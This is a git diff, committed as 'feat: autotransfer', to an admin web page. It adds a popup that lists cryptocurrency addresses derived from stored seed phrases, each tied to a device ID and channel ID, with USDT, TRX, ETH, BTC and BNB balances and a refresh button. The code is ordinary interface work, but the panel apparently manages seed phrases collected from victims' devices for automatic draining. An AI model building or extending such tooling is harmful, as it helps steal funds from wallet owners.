feat: autotransfer
This commit is contained in:
@@ -4,6 +4,33 @@
|
||||
|
||||
@section('content')
|
||||
@php $portal = $portal ?? 'admin'; @endphp
|
||||
<style>
|
||||
.mn-wallet-wrap { padding: 12px 16px 16px; }
|
||||
.mn-wallet-hd {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: 12px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.mn-wallet-meta { color: #666; font-size: 13px; }
|
||||
.mn-wallet-empty { color: #999; padding: 24px 0; text-align: center; }
|
||||
.mn-wallet-table { width: 100%; border-collapse: collapse; font-size: 12px; }
|
||||
.mn-wallet-table th,
|
||||
.mn-wallet-table td {
|
||||
border: 1px solid #e6e6e6;
|
||||
padding: 8px 10px;
|
||||
text-align: left;
|
||||
vertical-align: top;
|
||||
}
|
||||
.mn-wallet-table th { background: #fafafa; font-weight: 600; white-space: nowrap; }
|
||||
.mn-wallet-table .addr-cell {
|
||||
word-break: break-all;
|
||||
font-family: Menlo, Monaco, Consolas, monospace;
|
||||
max-width: 280px;
|
||||
}
|
||||
.mn-wallet-table .coin-cell { white-space: nowrap; font-variant-numeric: tabular-nums; }
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-mn-search">
|
||||
<div class="layui-form-item">
|
||||
@@ -34,6 +61,7 @@
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-mn-list" lay-filter="LAY-mn-list"></table>
|
||||
<script type="text/html" id="LAY-mn-ops">
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="wallets">查看钱包</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
</div>
|
||||
@@ -42,9 +70,151 @@
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['table', 'form'], function () {
|
||||
var table = layui.table, form = layui.form;
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var token = @json(csrf_token());
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
function esc(v) {
|
||||
return String(v == null ? '' : v)
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"');
|
||||
}
|
||||
|
||||
function coinVal(v) {
|
||||
return (v === null || v === undefined || v === '') ? '—' : esc(v);
|
||||
}
|
||||
|
||||
function renderWalletsHtml(payload) {
|
||||
var rows = (payload && payload.addresses) || [];
|
||||
var html = '<div class="mn-wallet-wrap">';
|
||||
html += '<div class="mn-wallet-hd">';
|
||||
html += '<div class="mn-wallet-meta">助记词 #' + esc(payload.mnemonic_id) +
|
||||
(payload.source ? ' · ' + esc(payload.source) : '') +
|
||||
' · 关联地址 ' + rows.length + ' 个</div>';
|
||||
if (rows.length && payload.refresh_url) {
|
||||
html += '<button type="button" class="layui-btn layui-btn-sm" id="LAY-mn-refresh-bal">刷新余额</button>';
|
||||
}
|
||||
html += '</div>';
|
||||
if (!rows.length) {
|
||||
html += '<div class="mn-wallet-empty">暂无关联地址</div></div>';
|
||||
return html;
|
||||
}
|
||||
html += '<div class="mn-wallet-body"><table class="mn-wallet-table"><thead><tr>' +
|
||||
'<th>ID</th><th>Chain</th><th>地址</th><th>Index</th>' +
|
||||
'<th>USDT</th><th>TRX</th><th>ETH</th><th>BTC</th><th>BNB</th>' +
|
||||
'</tr></thead><tbody>';
|
||||
rows.forEach(function (r) {
|
||||
html += '<tr>' +
|
||||
'<td>' + esc(r.id) + '</td>' +
|
||||
'<td>' + esc(r.chain_type || '—') + '</td>' +
|
||||
'<td class="addr-cell">' + esc(r.address) + '</td>' +
|
||||
'<td>' + (r.derive_index == null || r.derive_index === '' ? '—' : esc(r.derive_index)) + '</td>' +
|
||||
'<td class="coin-cell">' + coinVal(r.usdt) + '</td>' +
|
||||
'<td class="coin-cell">' + coinVal(r.trx) + '</td>' +
|
||||
'<td class="coin-cell">' + coinVal(r.eth) + '</td>' +
|
||||
'<td class="coin-cell">' + coinVal(r.btc) + '</td>' +
|
||||
'<td class="coin-cell">' + coinVal(r.bnb) + '</td>' +
|
||||
'</tr>';
|
||||
});
|
||||
html += '</tbody></table></div></div>';
|
||||
return html;
|
||||
}
|
||||
|
||||
function applyWalletsHtml(layero, payload) {
|
||||
var html = renderWalletsHtml(payload);
|
||||
var $wrap = layero.find('.mn-wallet-wrap').first();
|
||||
if ($wrap.length) {
|
||||
$wrap.replaceWith(html);
|
||||
} else {
|
||||
var $content = layero.find('.layui-layer-content').first();
|
||||
if ($content.length) $content.html(html);
|
||||
else layero.html(html);
|
||||
}
|
||||
bindRefresh(layero, payload);
|
||||
}
|
||||
|
||||
function bindRefresh(layero, payload) {
|
||||
layero.find('#LAY-mn-refresh-bal').off('click').on('click', function () {
|
||||
var btn = $(this);
|
||||
if (btn.prop('disabled')) return;
|
||||
if (!payload.refresh_url) return;
|
||||
btn.prop('disabled', true).addClass('layui-btn-disabled');
|
||||
var loadIdx = layer.load(1, { shade: 0.1 });
|
||||
$.ajax({
|
||||
url: payload.refresh_url,
|
||||
method: 'POST',
|
||||
data: { _token: token },
|
||||
success: function (res) {
|
||||
layer.close(loadIdx);
|
||||
if (!res || res.code !== 0) {
|
||||
btn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||||
return layer.msg((res && res.msg) || '刷新失败');
|
||||
}
|
||||
var next = res.data || {};
|
||||
applyWalletsHtml(layero, next);
|
||||
var ok = Number(next.refreshed || 0);
|
||||
var fail = Number(next.failed || 0);
|
||||
layer.msg(fail ? ('已写入地址表 ' + ok + ' 个,失败 ' + fail + ' 个') : ('已写入地址表 ' + ok + ' 个'));
|
||||
var cooldown = Number(next.retry_after || 60);
|
||||
var nextBtn = layero.find('#LAY-mn-refresh-bal');
|
||||
nextBtn.prop('disabled', true).addClass('layui-btn-disabled');
|
||||
setTimeout(function () {
|
||||
nextBtn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||||
}, cooldown * 1000);
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(loadIdx);
|
||||
var body = xhr.responseJSON || {};
|
||||
var retry = body.data && body.data.retry_after ? Number(body.data.retry_after) : 0;
|
||||
if (xhr.status === 429 && retry > 0) {
|
||||
layer.msg(body.msg || ('请 ' + retry + ' 秒后再试'));
|
||||
setTimeout(function () {
|
||||
btn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||||
}, retry * 1000);
|
||||
return;
|
||||
}
|
||||
btn.prop('disabled', false).removeClass('layui-btn-disabled');
|
||||
layer.msg(body.msg || body.message || '刷新失败');
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
function openWallets(row) {
|
||||
var loadIdx = layer.load(1, { shade: 0.1 });
|
||||
$.ajax({
|
||||
url: row.wallets_url,
|
||||
method: 'GET',
|
||||
success: function (res) {
|
||||
layer.close(loadIdx);
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var payload = res.data || {};
|
||||
if (!payload.refresh_url && row.refresh_url) {
|
||||
payload.refresh_url = row.refresh_url;
|
||||
}
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '关联钱包 — 助记词 #' + row.id,
|
||||
area: ['920px', '480px'],
|
||||
shadeClose: true,
|
||||
content: renderWalletsHtml(payload),
|
||||
success: function (layero) {
|
||||
bindRefresh(layero, payload);
|
||||
}
|
||||
});
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(loadIdx);
|
||||
layer.msg((xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '加载失败');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-mn-list',
|
||||
id: 'LAY-mn-list',
|
||||
@@ -56,7 +226,7 @@ layui.use(['table', 'form'], function () {
|
||||
{ field: 'device_key', title: '设备 ID', minWidth: 220 },
|
||||
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
|
||||
{ title: '操作', width: 190, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
@@ -67,6 +237,10 @@ layui.use(['table', 'form'], function () {
|
||||
return false;
|
||||
});
|
||||
table.on('tool(LAY-mn-list)', function (obj) {
|
||||
if (obj.event === 'wallets') {
|
||||
openWallets(obj.data);
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'detail') return;
|
||||
var url = obj.data.detail_url;
|
||||
var title = '设备 ' + (obj.data.device_key || ('#' + obj.data.id));
|
||||
|
||||
Reference in New Issue
Block a user